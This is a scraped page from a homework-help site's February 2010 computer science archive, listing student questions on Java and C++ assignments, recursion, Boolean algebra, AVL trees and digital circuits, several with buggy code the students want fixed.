Part B - Implementing the Seeds Rule Set
Your next task is to implement a variant of Conway's rules, calledSeeds. Similar to Conway's game,
Seeds consist of a set of cells, each of which may be in one of twostates: on or o. Each cell is
considered to have eight neighbors, as in Life. In each timestep
a cell turns on if it was o but had exactly two neighbors thatwere on
all other cells turn o
Copy the Conway.java le and create Seeds.java le, and rename theclass' name in the le accordingly.
Next, change applyRules() method in Seeds.java to implement Seedsrules instead of Conway rules.
Part A - Implementing JUnit tests for Seeds rule set
Create JUnit tests for Seeds.java. Copy the ConwayTest.java lecreating SeedsTest.java le, and
change the class' name in the le accordingly. Also, adjust theusage of Conway by SeedsTest to use
Seeds class. Go through the test code in SeedsTest.java and adjustit so that it checks for the correct
play by the Seeds rules. Your SeedsTest class will have an initialset up method for the test cases
(setUp()) and 4 other methods to test for the followingsituations:
Test that an all-dead neighborhood results in the cell stayingdead.
Test that 2 neighbors bring a dead cell to life.
3
Test that a dead cell with various numbers of neighbors other than2 stays dead.
Test that an alive cell with 2 neighbors dies
Note: Make sure that SeedsTest.java belongs to <defaultpackage> under Test Packages. If you follow
instructions (under Useful Tip) for copying a le in NetBeans, youwill have already made sure that
SeedsTest.java is in the correct package.
• Show less0 answers
- Anonymous asked0 answers
- Christy89 askedEratosthenes to generate a listof al... Show moreWrite a calculator or computer program thatemploys the sieve of
Eratosthenes to generate a listof all primes less than N, whereN is largeenough tobe of someinterest—say N= 2000. A value like N =100,000 would generate a really useful list.(The program should not include any“divide” instructions.)• Show less
Note: Use C or C+. Please include the variables so I can understandit. Thanks.2 answers
- Christy89 askedTest the program w... Show moreWrite a calculator or computer programimplementing Fermat’s factorization method.
Test the program with these numbers:
a) 8,927
b) 57,479• Show less
c) 14,327,581
d) 2,027651,2812 answers
- Anonymous askedGive your view point in the favour or against t... Show more"C++ supports more OOP features as compared toJAVA"
Give your view point in the favour or against this phrase. Your view point should not exceed 5 lines. While giving argumentsyou should be precise and to thepoint.
Aconcise, coherent and to-the-point comment is preferred overlengthy comment having irrelevant details.0 answers
- Anonymous askedWrite an assembly program that willimplement a summation from i=0 until i=50 of i. Start yourprogram... Show more
Write an assembly program that willimplement a summation from i=0 until i=50 of i. Start yourprogram at memory address $2000.• Show less0 answers
- Anonymous askedWrite a TSR that enables mouse, display mouse cursor and alsotracks mouse position (X, Y coordinates... Show more
Write a TSR that enables mouse, display mouse cursor and alsotracks mouse position (X, Y coordinates). You have to changeexample 9.7
- Anonymous asked
Write a c++ program that accept the number of credits a studenthas complete, determains the student’... Show more
Write a c++ program that accept the number of credits a studenthas complete, determains the student’s grade level, anddisplays the grade level.
Number of creditscompleted: gradelevel
Less than32 freshman
32 to63 sophomore
64 to95 junior
96 ormore senior• Show less2 answers
- Anonymous asked0 answers
- Anonymous askedint sillytwo... Show moreint sillyone(int n)
{
if (n <= 1)
return n;
else
return sillyone(n-1) + sillyone(n-1);
}
int sillytwo(int n)
{
if (n <= 1)
return n;
else
return 2 * sillytwo(n-1);
}
Output of sillyone(5) is
Output of sillytwo(5) is .
# of sillyone() invocations done as part of sillyone(5) executionis .
# of sillytwo() invocations done as part of sillytwo(5) executionis .
I believe the output of sillyone(5) is 8 and the output ofsillytwo(5) is also 8. Just want to verify.
I do need the answers to the 2nd part of the test - theinvocations.
• Show less1 answer
- Anonymous askedint new_largest(const int list[], int lo... Show moreI have put ??? where I need the answers.
Thanks for ANY help.
int new_largest(const int list[], int lowerIndex, intupperIndex)
{
int max1, max2, half_items;
if (lowerIndex == upperIndex)
return list[lowerIndex];
half_items = (upperIndex - lowerIndex + 1) / 2;
max1 = new_largest(list, lowerIndex, lowerIndex +half_items-1);
max2 = new_largest(list, lowerIndex + half_items,upperIndex);
if (max1 > max2)
return max1;
else
returnmax2;
}
Function largest() is invoked ??? times when largest(list, 0, 7) isexecuted,
whereas function new_largest() is invoked ??? times whennew_largest(list, 0, 7) is executed.
Max recursion depth reached while computing largest(list, 0, 63) is???,
whereas max recursion depth reached while computingnew_largest(list, 0, 63) is ???.
• Show less4 answers
- Anonymous askedThe volume and their size may varyfor FAT 12 or FAT16 file systems. How can the volume with mid orla... Show moreThe volume and their size may varyfor FAT 12 or FAT16 file systems. How can the volume with mid orlarge level space be managed by the same FAT system where thenumber of entries in file control block (FCB) for FAT 12 or 16 arelimited. • Show less0 answers
- Anonymous askedIfanswer ye... Show more
Software Quality Assurance and Capability Maturity ModelIntegration are both identical”
Ifanswer yes/no, why? Your comment must be with proper logic andstrong arguments.• Show less0 answers
- Anonymous asked0 answers
- asalvani askedimport java... Show moreCan anyone help me with this code, without changing it,...just findmy errors please
Thanks
import java.util.*;
class PrintDot
{
public static void main(String[ ] args)
{
int number=0;
Scanner scap= new Scanner(System.in);
System.out.println(“How many ampersands to print?“);
number=scap.nextInt();
ppp(number);
} \\end of main
void ppp(nnn)
{ for(ik=0; ik<nnn; ik++)
System.out.print(‘&’);
System.out.println();
} \\end of ppp
} \\end of class
• Show less1 answer
- asalvani askedI want to make this t... Show more/* * TicketMachine models a ticket machine that issues
* flat-fare tickets. */
I want to make this to compile in Java. Please help
public class TicketMachine{
private int price;
private int balance;
private int total;
public TicketMachine(int ticketCost)//constructor
{ price = ticketCost;
balance = 0;
total =0; }
public int getPrice()
{ return price; }
public int getBalance()
{ return balance; }
public int getTotal()
{ return total; }
public void insertMoney(int amount)
{
if(amount > 0)
balance = balance + amount;
else {
System.out.println(“This is not positive "+amount); }
}
public int refundBalance()
{ intamountToRefund;
amountToRefund = balance;
balance = 0;
returnamountToRefund;
}
// continued on the next page
TicketMachine’s end
public void printTicket()
{ if(balance >= price) {
// Simulate the printing of a ticket.
System.out.println("##################");
System.out.println("# The BlueJ Line");
System.out.println("# Ticket");
System.out.println("# " + price + " pence.");
System.out.println("##################");
System.out.println();
total = total + price; // Update the total
balance = balance - price; // Update the balance
}
else {System.out.println("You must insert at least: " +
(price - balance) + " more pence."); }
}
}//end of class
• Show less2 answers
- Anonymous askedWrite a TSR that enables mouse,display mouse cursor and also tracks mouse position (X, Ycoordinates)... Show more
Write a TSR that enables mouse,display mouse cursor and also tracks mouse position (X, Ycoordinates).
- AnnoyedCoffee9 askedWrite a program that reads in five integers and determines andprints the largest and the smallest in... Show more
Write a program that reads in five integers and determines andprints the largest and the smallest in the group.
#include<iostream>
Using std::cout;
Using std::cin;
Using std::endl;
Int main()
{
Int number;
Int min, max;
Cout<<”A program to find the largest and smallestintegers among five integers”
<<endl<<endl;
Cout<<”Enter your choice of firstnumber:”;
Cin>>number;
min=max=number;
The questions are why Did we write two <<endl<<endl;And the second one is how did you come upwith min=max=number• Show less1 answer
- asalvani askedSystem.out.println("Please enter a tick... Show moreclass Draganco
{
public static void main(String[ ] args){
System.out.println("Please enter a ticket price");
int pi=TextIO.getInt();
TM atm=new TM(pi);
int MeItem=1;
while (MeItem!=0){
MeItem=menu();// amethod
if (MeItem==1){
intpp=atm.getPrice(); // a method
System.out.println("Ticket price is "+pp);}
// continued next page
else if (MeItem==2)
{
System.out.println(“Keyin the money inserted in pence");
intmoney_insert=TextIO.getInt();
atm.insertMoney(money_insert);
atm.printTicket();}
else if (MeItem==3) {
intrefund=atm.refundBalance();
System.out.println("Please take your refund " + refund);}
else
{inttt=atm.getTotal();
intbb=atm.getBalance();
System.out.println("The total for tickets: "+tt);}
}//end of loop whilefor choosing action
} //end of main
• Show less1 answer
- Anonymous askedChange your implementation of Tortoise Hare program into a classimplementation. You should submit a... Show moreChange your implementation of Tortoise Hare program into a classimplementation. You should submit a header file (e.g.,TortoiseHare.h) that contains the class interface for yourTortoiseHare class, be sure to include a pre-processor wrapper inyour header file, you also need to turn in a class implementationfile (e.g., TortoiseHare.cpp) that contains the implementation ofall the member function for the class. Write a separate driverprogram to test the member functions of your TortoiseHare class(e.g., TortoiseHareMain.cpp).
#include <iostream>
#include <cstdlib>
#include <iomanip>
#include <ctime>
using namespace std;
void movetort(int*);
void movehare(int*);
void print(int*,int*);
void pause(int delay);
int main()
{int finish=70,tort=1,hare=1,rtime=0;
srand(time(0));
cout<<"RACE BEGINS!!!\n";
do
{movehare(&hare);
movetort(&tort);
print(&tort,&hare);
pause(500);
rtime++;
}while(tort<finish&&hare<finish);
if(tort>hare )
cout<<" TORTOISE WINS!!! YAY!!!\n";
else if(tort<hare )
cout<<"Hare wins. Yuch. \n";
else
cout<<"Would you believe IT\'S ATIE!!\n";
cout<<"time of race: "<<rtime<<" simulatedseconds\n";
system("pause");
return 0;
}
void print(int* t,int* h)
{if(*h==*t)
cout<<setw(*h)<<"OUCH!!!";
else if(*h<*t)
cout<<setw(*h)<<'H'<<setw(*t-*h)<<'T';
else
cout<<setw(*t)<<'T'<<setw(*h-*t)<<'H';
cout<<endl;
}
void movehare(int* r )
{int num;
num=rand()%10;
if(num<2)
*r-=2;
else if(num<5)
*r++;
else if(num<6)
*r-=12;
else if(num<8)
*r+=9;
if(*r< 1 )
*r=1;
}
void movetort(int* t)
{int num;
num=rand()%10;
if(num<5)
*t+=3;
else if(num<7)
*t-= 6;
else
*t++;
if(*t<1)
*t=1;
}
void pause(int delay)
{
clock_t future_time = clock() + delay;
while(clock() < future_time);
}
• Show less
- RedDog4182 asked1 answer
- RedDog4182 asked1 answer
- RedDog4182 askeda. How many bits will... Show moreHow many 256x8 RAM chips are needed to provide a memory capacity of4096 bytes?
a. How many bits will each memory address contain?
b. How many address lines must go to each chip?
c. How many lines must be decoded for the chip select inputs?
Specify the size of the decoder.
• Show less1 answer
- ElegantGuitar8315 askedI tried to work on the problem, but getting error for the variablesto be used without reference, can... Show moreI tried to work on the problem, but getting error for the variablesto be used without reference, can someone please help me to (edit)the code so it works. Thanks in advance.
Question) Develop a C++ program that will compute the total bill ofa hospital patient. The user
inputs are: number of days in hospital, surgery cost, medicationcost, miscellaneous cost,
cost per day and insurance deductible. The program must compute thefollowing for
insurance purposes: total cost, total cost less insurancedeductible, total cost less cost of
medication and deductible. Use four separate functions:
a. to inform the user about the purpose of the program
b. to input data (hint: at the end of the data input call thecalculations function
instead of returning the input values to “main”)
c. to perform the calculations (same identifiers for actual andformal parameters)
d. to print the results (different identifiers for actual andformal parameters)
My Code
#include "stdafx.h"
#include <iostream>
using namespace std;
void input(double,double,double,double,double,double);
void output (double,double,double);
void print();
int _tmain(int argc, _TCHAR* argv[])
{
double days_stay;
double surgery_cost,medication_cost,miscellaneous_cost,cost_perday,insurance_deductable;
input (days_stay,surgery_cost,medication_cost,miscellaneous_cost,cost_perday,insurance_deductable);
cin.get();
// return 0;
}
void input (double days_stay,double surgery_cost, doublemedication_cost,double miscellaneous_cost,double cost_perday,doubleinsurance_deductable)
{
cout<<"\nPlease enter number of days inhospital ==> ";
cin>>days_stay;
cout<<"\nSurgery cost ==> ";
cin>>surgery_cost;
cout<<"\nMdication cost ==> ";
cin>>medication_cost;
cout<<"Miscellaneous Cost ==> ";
cin>>miscellaneous_cost;
cout<<"cost per day ==>";
cin>>cost_perday;
cout<<"Insurance deductable";
cin>>insurance_deductable;
double total, total_insurance,total_medCost;
output (total ,total_insurance,total_medCost);
}
void output (double total, double total_insurance, doubletotal_medCost)
{
double days_stay;
double surgery_cost,medication_cost,miscellaneous_cost,cost_perday,insurance_deductable;
input (days_stay,surgery_cost,medication_cost,miscellaneous_cost,cost_perday,insurance_deductable);
total =(days_stay*cost_perday)+surgery_cost+medication_cost+miscellaneous_cost;
total_insurance = total -insurance_deductable;
total_medCost = total -surgery_cost-medication_cost-insurance_deductable;
print();
}
void print ()
{
double total, total_insurance,total_medCost;
output(total,total_insurance,total_medCost);
cout<<"Total cost ==>"<<total<<endl;\
cout<<"Total_insurance covered ==>"<<total_insurance<<endl;
cout<<"Total Medical cost ==>"<<total_medCost<<endl;
}
• Show less1 answer
- RedDog4182 asked1 answer
- RedDog4182 askedWrite the Boolean expression in sum-of-prod... Show moreThe truth table for a Boolean expression is shown below.
Write the Boolean expression in sum-of-product form.
x y z F
0 0 0 1
0 0 1 0
0 1 0 0
0 1 1 1
1 0 0 0
1 0 1 0
1 1 0 1
1 1 1 0
• Show less1 answer
- Anonymous askedHow can I show the result of inserting 2,1,4,5,9,3,6,7 into aninitially empty AVL tree? by Induction... Show moreHow can I show the result of inserting 2,1,4,5,9,3,6,7 into aninitially empty AVL tree? by Induction....
• Show less2 answers
- Anonymous askedI strongly suggest you take a look at the answer from thebook....cramster has the answer for this pr... Show moreI strongly suggest you take a look at the answer from thebook....cramster has the answer for this problem. what i wanna isto come up with different method from the answer cramstergives(slight difference is acceptable) , but Do Not use otherknowledge that ive not learnt.write a program thatoutputs the lyrics for the song "Ninety-Nine Bottles of Beer on theWall." Your program should print the number of bottles in English,not as a number. For example:• Show lessNinety-nine bottles of beer on the wall,Ninety-nine bottles of beer,Take one down, pass it around,Ninety-eight bottles of beer on the wall....one bottle of beer on the wall.one bottle of beer,Take one down, pass it around,Zero bottles of beer on the wall.Design your program with a function that takes as an argumentan integer between 0 and 99 and returns a string that contains theinteger value in English. Your function should not have 100different if-else statement. Instead, use % and / to extract thetens and ones digits to construct the English string. You may needto test specifically for values such as 0,10-19, etc.HINT: YOU CAN USE SWITCH STATEMENT2 answers
- Anonymous asked1) Drivers are concerned with the mileage obtained by their cars. One driver has kept track of sever3 answers
- Anonymous asked3) The process of finding the largest and smallest numbers is used frequently in computer applicatio2 answers
- Anonymous askedthat prompt the user for auser input file, reads the input words an... Show morewrite a program nameanagram.java that prompt the user for auser input file, reads the input words and computes anagram ofwords.
use vector please
• Show less0 answers
- Anonymous asked"Modern programming languages usedebuggers/analyzer for code checking. Static analyzers some timesma... Show more
"Modern programming languages usedebuggers/analyzer for code checking. Static analyzers some timesmake optimistic or pessimistic assumptions that leads towardexploits and failures. Is runtime analyzer or automaticspecification extractor can provide a batter debugging?• Show less0 answers
- Anonymous asked
Use induction to prove thefollowing:a. 4 * 3n <4n for all n >= 5
Disprove thefollowing:
- 4 * 3
Use induction to prove thefollowing:a. 4 * 3n <4n for all n >= 5
Disprove thefollowing:
0 answers
- 4 * 3n <4n for all n >= 4
- RedDog4182 askedThe aim of this question is to study the behavior of an integratedcircuit built with one elementary... Show moreThe aim of this question is to study the behavior of an integratedcircuit built with one elementary combinatory circuit (the FullAdder) and one elementary sequential circuit (the D flip flop).
a. Complete the truth table for the following sequentialcircuit:
Next State
X | Y | Z | S | Q_|
0 0 0
0 0 1
0 1 0
0 1 1
1 0 0
1 0 1
1 1 0
1 1 1
• Show less1 answer
- Anonymous askedI need to write a program that consists of four classes thatcould be used to maintain a database of... Show moreI need to write a program that consists of four classes thatcould be used to maintain a database of media items in a library,these classes will represent generic media items, CD's, DVD's, andMP3's.All the media items have the following characteristics(instance variables): A title, a boolean to represent ownership ofthis item, and a playing time.All media items have at least the following behaviors(methods): get the title, get if the item is present in themedia collection, get the playing time, a toStringmethod.CD's, DVD's and MP3's have all the same characteristics andbehaviors of media items.CD's have the following additional characteristics andbehaviors:an artist, number of tracks, a way to get the artist, a way toget the number of tracks, a toString method.DVD's have the following additional chacteristics andbehaviors:a rating (using a string) ex. (G, PG, PG-13, R,NC-17), a wayto get the rating, a way to get the time of the bonus features, away to get the total playing time of the DVD, a toStringmethod.MP3's have the following additional characteristics andbehaviors:an artist, a way to get the artist, a toString method.I need to implement four classes, MediaItem, CD,DVD, and MP3,CD,DVD must all extend from MediaItem, I need to provide oneconstructor for each class that takes in parameters to set allinstance variables. Write a driver program (consoleapplication, windows application, or web applet that lists thecontents of the classes)Thanks a million! im confused this is alifesaver!!• Show less0 answers
- Anonymous asked
NEED HELP WITH THE FOLLOWING ! THNX !
Create a class named ArrayClass. The class willhave:
·... Show more
NEED HELP WITH THE FOLLOWING ! THNX !
Create a class named ArrayClass. The class willhave:
· Fields:
-an int named sizeOfArray
-An int named theArray
· No-argConstructor that assigns 0 to sizeOfArray and to each element oftheArray
· ParameterConstructor that accepts an int and an int array
· CopyConstructor that accepts an object of the classArrayApplication
· MethodbubbleSortArray has no argument. the method will sort the theArrayand return the time of sorting process by using methodSystem.nanoTime(); that returns a long number.
· MethodselectionSortArray has no argument. The method will sort thetheArray and return the time of sorting process (as above)
· methodtoString will print out the array elements.
For example: theArray = { 4, 8, 16,77, 2, 57, 80 }
Output should be:
Array: 4 8 16 77 2 57 80
Create a controlling class named ArraySortDemothat include the main method.
The main method will do the following:
-Display the question asking users how to enter the arrayelements by display the menu
1. Input from the keyboard
2. Input from the file
Select the number to continue: _
-Read the input from users
-If the input is 1, display the message to ask users to type ina series of numbers separating by a space and stop by
pressing the Enter key.
-If the input is 2, display the message to ask users to type thename of the file to read , then read the array from the file.
-Display the question asking users to choose the method to sortthe array:
1. Bubble sort
2. Selection sort
Select the number to continue:_
-Read the number: if 1, call the method bubbleSortArray, thendisplay the result and the time of process
if 2, call the method selectionSortArray, then display the resultand the time of process• Show less0 answers
- Anonymous askedclass that defines the followingstatic methods... Show moreExercise 2: Handling ArrayLists
Write an “Exercise02” class that defines the followingstatic methods:
• Themethod “printOrderedList” (below) that receives anarray list of strings and a boolean value, and prints to the screenthese strings ordered according to length. The list will be orderedin ascending or descending order depending on the (true or false)value of the boolean parameter. If several strings have the samelength they should be printed in the order they have in thearray list.
public static void printOrderedList(ArrayList<String> list,boolean ascending)
• Themethod “printParagraphs” (below) that receives andarray list of strings and an integer, and prints strings to thescreen in one line (in the same order they have in the list) aslong as the number of characters on that line is not higher thanthe integer number given as a parameter. Printing subsequentstrings in one line will eventually make the length of the line belonger than the limit; the last string making it longer shouldbecome the first string on the next line. Any string whose lengthis longer than the limit is printed on its own line. Allstrings areseparated by one blank space. Any string with leading or trailingblank spaces should have them trimmed before being printed. Thelast string on a line should not have blank trailing spaces.
public static void printParagraphs(ArrayList<String> list,int limit) • Show less0 answers
- Anonymous askedSimplify the following expressions using Boolean Algebraa)A'B + ABC' + ABCb)(BC' + A'D)(AB' + CD')... Show moreSimplify the following expressions using Boolean Algebraa)A'B + ABC' + ABCb)(BC' + A'D)(AB' + CD')c)AB + AB'd)A + AB• Show less | http://www.chegg.com/homework-help/questions-and-answers/computer-science-archive-2010-february-02 | CC-MAIN-2014-52 | refinedweb | 6,571 | 54.93 |
SYNTAX
#include <slurm/slurm.h>
int slurm_checkpoint_able (
uint32_t job_id,
uint32_t step_id,
time_t *start_time,
);
int slurm_checkpoint_complete (
uint32_t job_id,
uint32_t step_id,
time_t start_time,
uint32_t error_code,
char *error_msg
);
int slurm_checkpoint_create (
uint32_t job_id,
uint32_t step_id,
uint16_t max_wait,
char *image_dir
);
int slurm_checkpoint_disable (
uint32_t job_id,
uint32_t step_id
);
int slurm_checkpoint_enable (
uint32_t job_id,
uint32_t step_id
);
int slurm_checkpoint_error (
uint32_t job_id,
uint32_t step_id,
uint32_t *error_code,
char ** error_msg
);
int slurm_checkpoint_restart (
uint32_t job_id,
uint32_t step_id,
uint16_t stick,
char *image_dir
);
int slurm_checkpoint_tasks (
uint32_t job_id,
uint32_t step_id,
time_t begin_time,
char *image_dir,
uint16_t max_wait,
char *nodelist
);
int slurm_checkpoint_vacate (
uint32_t job_id,
uint32_t step_id,
uint16_t max_wait,
char *image_dir
);
ARGUMENTS
- begin_time
- When to begin the operation.
- error_code
- Error code for checkpoint operation. Only the highest value is preserved.
- error_msg
- Error message for checkpoint operation. Only the error_msg value for the highest error_code is preserved.
- image_dir
- Directory specification for where the checkpoint file should be read from or written to. The default value is specified by the JobCheckpointDir Slurm configuration parameter.
- job_id
- Slurm job ID to perform the operation upon.
- max_wait
- Maximum time to allow for the operation to complete in seconds.
- nodelist
- Nodes to send the request.
- start_time
- Time at which last checkpoint operation began (if one is in progress), otherwise zero.
- step_id
- Slurm job step ID to perform the operation upon. May be NO_VAL if the operation is to be performed on all steps of the specified job. Specify SLURM_BATCH_SCRIPT to checkpoint a batch job.
- stick
- If non-zero then restart the job on the same nodes that it was checkpointed from.
DESCRIPTION
slurm_checkpoint_able Report if checkpoint operations can presently be issued for the specified job step. If yes, returns SLURM_SUCCESS and sets start_time if checkpoint operation is presently active. Returns ESLURM_DISABLED if checkpoint operation is disabled.
slurm_checkpoint_complete Note that a requested checkpoint has been completed.
slurm_checkpoint_create Request a checkpoint for the identified job step. Continue its execution upon completion of the checkpoint.
slurm_checkpoint_disable Make the identified job step non-checkpointable. This can be issued as needed to prevent checkpointing while a job step is in a critical section or for other reasons.
slurm_checkpoint_enable Make the identified job step checkpointable.
slurm_checkpoint_error Get error information about the last checkpoint operation for a given job step.
slurm_checkpoint_restart Request that a previously checkpointed job resume execution. It may continue execution on different nodes than were originally used. Execution may be delayed if resources are not immediately available.
slurm_checkpoint_vacate Request a checkpoint for the identified job step. Terminate its execution upon completion of the checkpoint.
RETURN VALUE
Zero is returned upon success. On error, -1 is returned, and the Slurm error code is set appropriately.
ERRORS
ESLURM_INVALID_JOB_ID the requested job or job step id does not exist.
ESLURM_ACCESS_DENIED the requesting user lacks authorization for the requested action (e.g. trying to delete or modify another user's job).
ESLURM_JOB_PENDING the requested job is still pending.
ESLURM_ALREADY_DONE the requested job has already completed.
ESLURM_DISABLED the requested operation has been disabled for this job step. This will occur when a request for checkpoint is issued when they have been disabled.
ESLURM_NOT_SUPPORTED the requested operation is not supported on this system.
EXAMPLE
#include <stdio.h>
#include <stdlib.h>
#include <slurm/slurm.h>
#include <slurm/slurm_errno.h>
int main (int argc, char *argv[])
{
uint32_t job_id, step_id;
if (argc < 3) {
printf("Usage: %s job_id step_id\n", argv[0]);
exit(1);
}
job_id = atoi(argv[1]);
step_id = atoi(argv[2]);
if (slurm_checkpoint_disable(job_id, step_id)) {
slurm_perror ("slurm_checkpoint_error:");
exit (1);
}
exit (0);
}
NOTEThese functions are included in the libslurm library, which must be linked to your process for use (e.g. "cc -lslurm myprog.c").
COPYINGCopyright (C) 2004. | http://manpages.org/slurm_checkpoint_able/3 | CC-MAIN-2018-43 | refinedweb | 588 | 51.04 |
Revision history for SNMP-Effective 1.1103 2016-05-18 * Update issue tracker to GitHub 1.1102 2016-05-14 * Point release to fix MANIFEST 1.1101 Tue Oct 1 12:30:15 2013 * Add repository to Makefile.PL 1.11 Tue Jun 4 12:37:44 2013 * Fix typo: "args" to "arg" 1.10 Fri Jun 15 00:21:43 2012 * Fix RT77805: Typo in SNMP::Effective Contributor: Matt W 1.09 Sun Feb 19 18:45:34 2012 * Fix RT72440: per-host arguments Contributor: Sebastian Hyrwall 1.08_02 Wed Apr 20 11:31:43 CEST 2011 * Add experimental feature for pre and post callbacks which is called on the $host object from dispatch() 1.0801 Fri Nov 19 16:20:17 CET 2010 * Fix RT61579: SNMP Effective Hangs when returned datatype is NULL Contributor: medved 1.08 Mon Nov 1 12:11:20 CET 2010 * Fix rename attribute in SNMP::Effective::Host: sesssion != session * Change locking. Use pipe(...) with a single byte-read instead of flock() - flock() did not work, since it was the same process! * Remove perlcritic test * Remove SNMP::Effective::Logger is replaced with SNMP_EFFECTIVE_DEBUG and warn() * Reformatted code and add more documentation * Add heap can be set on SNMP:Effective object and passed on to new $host objects 1.07 Sat Jun 19 14:09:52 CEST 2010 * Clean up 1.06_02 (not a dev release) * Clean up repository 1.06 Thu, 17 Apr 2008 16:00:00 +0100 * Added new locking mechanism * You don't need Log::Log4perl, though it is highly suggested 1.05 Thu, 11 Oct 2007 20:15:00 +0200 * Fixed typo which makes it difficult to install the module: Log::Log4Perl = Log::Log4perl 1.04 Sat, 29 Sep 2007 15:20:00 +0200 * IMPORTANT! Renamed getnext to walk * Added getnext, the way it's expected to behave * Renamed more ::Host methods * Fixed bug in BEGIN blocks: You can now set values that is "" or 0 * Split the namespaces into each seperate file and added more POD * added heap() to ::Host, read the POD for more info 1.03 Mon, 24 Sep 2007 23:14:00 +0200 * Renamed methods to follow an uniform standard: * make_name_oid * make_numeric_oid * match_oid * Added support for Log4perl. The old DEBUG is deprecated * t/*tests* works for the first time 1.02 Fri, 21 Sep 2007 16:24:00 +0100 <oliver.gorwits@oucs.ox.ac.uk> * Improve alarm handling in SNMP::Effective::new * PUSH in SNMP::Effective::VarList must take a list * Fix version number in POD * Improve documentation 1.01 Sun, 16 Sep 2007 13:30:58 +0200 * First version, after pulling together what thought to be lost. | https://metacpan.org/changes/distribution/SNMP-Effective | CC-MAIN-2016-44 | refinedweb | 441 | 64.41 |
Library to work with Open Graph metadata
Project description
A Python class for retrieving Open Graph metadata from a website.
Overview
There’s a fair number of Open Graph metadata libraries for Python, but all of the currently active ones use an HTML parser like BeautifulSoup to extract the metadata. There’s nothing wrong with that, and it comes with some advantages but I wanted one that parses the webpage as RDFa, and so here we are.
This library extracts the Open Graph metadata and makes it available via the object’s properties. Most of the other libraries I’ve encountered that do this take a website’s URI and download the data there but this library takes the text of the website as the data instead. This was done because I’ve found that various websites like to hide their OGM data behind user agents so this allows you to get the data however you need to. It is also much easier to test.
See the TODO.rst file for information about features that I will be adding to this library.
Basic Usage
You can get the website source any way you like but in these examples I will be using Requests.
First initialize the object with the data from Requests:
import requests from pyzu import OGP r = requests.get('') ogp_me = OGP(r.text)
After this we can check the validity of the data (essentially does it contain the four required attributes as specified by the OGP spec [title, type, image, and url]:
>>> ogp_me.is_valid True
and finally we can look at the properties individually or see all the properties that we were able to extract from the page:
>>> ogp_me.title 'Open Graph protocol' >>> ogp_me.properties ['description', 'url', 'image:height', 'image:alt', 'type', 'image', 'image:width', 'title', 'image:type']
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/pyzu/ | CC-MAIN-2022-27 | refinedweb | 323 | 61.77 |
C++ Annotated: Apr – Aug 2017
Today we are happy to share our next compilation of C++ news with you.
C++ Annotated: April – August 2017
A long time has passed since the last edition of C++ Annotated. Which means today we have lots of great articles and news to share with you. In this edition:
- C++ language news
- C++20
- Metaclasses
- Conferences
- Recent events like ACCU and C++Now
- Upcoming events
- Learning
- Releases
C++ language news
C++20
With C++17 ready for final publication by the end of 2017, we can now start thinking about the future of C++ and in particular C++20. The Toronto C++ committee meeting was solely about just this! Just look:
- Concept TS was merged into C++20 draft. It takes now only one clean syntax (out of three) and doesn’t include function concepts.
- Coroutines TS, Networking TS and Ranges TS are done, Modules TS is quite close.
- Several nice enhancements like designated Initializers, template syntax for generic lambdas, default member initializers for bit-fields and others.
It seems that Fall will bring even more exciting features to C++20, and maybe for example, compile-time reflection. (And here’s one to definitely have a check of the talk by Jackie Kay from C++Now). And not to mention the library evolution group and new standard library under discussion. To find out more check Herb Sutter’s traditional trip report. And if you want a summary table view, check the trip report by Botond Ballo.
Metaclasses
The trickiest thing about ACCU 2017 was keeping secret Herb Sutter’s keynotes on metaclasses. This was the closing talk of the conference, but it made the whole audience of the big room at the Marriott hotel stay until very late. Now, that the proposal is live and the ACCU’s talk is finally published, everyone can learn more about this exciting topic.
What can make the C++ language more powerful and simpler? Can we avoid boilerplate code? Can we talk to a C++ compiler in C++? Can we get DSLs out of C++ without vendor-specific compilers? The answer to all these questions is ‘Yes’ if we use metaclasses.
More specifically, the idea is to enable you to describe some abstractions to the compiler and get metaclasses definitions that can be later used in the code. Today struct and class are the two main ways to define a type in C++, but with metaclasses, we can access way more!
One typical example is interface, which is:
- an abstract base class, and
- all public virtual functions, and
- no copy/move or data members.
Check the live sample in Compiler Explorer.
Or another one, value:
- default construction, destruction, copy/move, and comparison (memberwise by default),
- and no virtual functions or protected members.
Check the live sample in Compiler Explorer.
Or any of the others you create! A standard library for such metaclasses has to be created, as well as a way to include the definitions into the regular C++ code.
The full collection of links for further reading can be found in this blog post by Herb Sutter. And if you are looking for a short technical summary of Herb’s proposal, check the blog post by Jonathan Boccara.
Conferences
ACCU 2017
This year’s ACCU conference was huge and not only because of the Herb Sutter’s keynotes (though now it could be a tricky task to organize something more exciting). A couple of talks worth mentioning are: Odin Holmes’ “Modern C++ Design reloaded” (again about moving in the direction of meta-programming), “Mongrel Monads, Dirty, Dirty, Dirty” by Niall Douglas (showing how errors in C++ could be handled and providing a nice comparison of the options in terms of performance), “Grill the C++ committee” session (from a C++17/20 discussion to advice on starting a C++ proposal), and many others.
The playlists with all the videos are available and organized by the days on ACCU’s YouTube account. There are also a couple of trip reports worth reading, including one from JetBrains, where we share our booth experience and general impressions and thoughts on the conference.
C++Now 2017
If you were ever interested in cutting-edge C++ and wanted to work on new language features with a group of people with a similar deep interest in the language itself, C++Now is the proper place. A week spent in Aspen, Co, USA will fill you with dozens of bright and outstanding ideas, that will become your everyday C++ routine tomorrow.
This year’s event was no exception. While the unique feature of C++Now is a drive for discussions and collaboration that leads to hours of hot debate on-site, you can still get lots of useful information from the recordings. The playlist is already available.
And if you need recommendations on how to start over, I’d suggest you look at Tony Van Eerd’s “Postmodern C++” (awarded “Most Inspiring” and “Most Engaging”), Ben Deane & Jason Turner “constexpr ALL the things!” (awarded “Best Presentation”), all three parts of Alisdair Meredith talk about std2 (1st, 2nd, 3rd) discussing the future of the standard library in the world of modules-based approach and concept usages, and a very practical talk about Modern CMake by Daniel Pfeifer.
The JetBrains trip report can be found here.
Upcoming conferences
The upcoming months are going to be pretty packed with lots of great C++ events. It will all start with CppCon 2017 in September followed by Meeting C++ 2017 later in November. These two events introduce Bjarne Stroustrup, Herb Sutter, Lars Knoll, Matt Godbolt, Sean Parent, and Kate Gregory as keynotes speakers, as well as dozens of other great speakers.
The Audio Developer Conference (former JUCE) will run in London in November, and will gather audio developers from all over the world to discuss the problems in the audio processing field, the specific libraries and solutions, as well as news around C++ language.
Learning
Past, Present and Future of C++
In May, Bjarne Stroustrup joined CppCast for the anniversary 100th episode of the podcast. He talked about his expectations for C++20 (in a nutshell, Concepts, Modules, Contracts, Networking, and likely no Reflection), as well as issues with compile times, code cleanliness and possible improvements, he also touched on the current state of the C++ committee and more.
